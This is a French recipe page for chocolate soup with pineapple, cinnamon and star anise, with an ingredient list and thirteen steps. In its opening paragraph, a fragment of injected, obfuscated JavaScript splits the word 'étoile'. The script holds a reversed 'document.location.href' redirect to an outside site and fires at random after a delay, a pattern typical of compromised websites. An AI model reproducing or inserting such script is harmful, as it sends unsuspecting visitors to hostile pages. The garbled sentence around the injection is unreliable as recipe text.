Soupe au chocolat avec de l’ananas et des épices

2021-05-07

Pelez l’ananas. Le couper en deux. Puis en tranches en gardant son jus. Versez 20 cl d’eau froide dans une casserole. Portez à ébullition. Incorporez la cannelle, l’étobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toile de badiane.

Ingrédients

  • Pour 6 personnes
  • 400 g de chocolat à pâtisserie
  • 25 cl de lait
  • 20 cl de crème fleurette
  • 100 g de sucre en poudre
  • 1 ananas
  • 1 étoile de badiane
  • 1 cuillère à café de cannelle

Préparation de la recette

Etape 1

Pelez l'ananas.

Etape 2

Le couper en deux.

Etape 3

Puis en tranches en gardant son jus.

Etape 4

Versez 20 cl d'eau froide dans une casserole.

Etape 5

Portez à ébullition.

Etape 6

Incorporez la cannelle, l'étoile de badiane.

Etape 7

Faites cuire par frémissement pendant 10 minutes.

Etape 8

Dans une autre casserole versez la crème fleurette et le lait.

Etape 9

Portez à ébullition.

Etape 10

Dans un saladier cassez le chocolat en petits morceaux, versez le lait et la crème fleurette bouillante tout en mélangeant avec une spatule.

Etape 11

Ajoutez l'ananas en sirop.

Etape 12

Mélangez.

Etape 13

Répartissez la soupe au chocolat dans 6 coupelles et dégustez.

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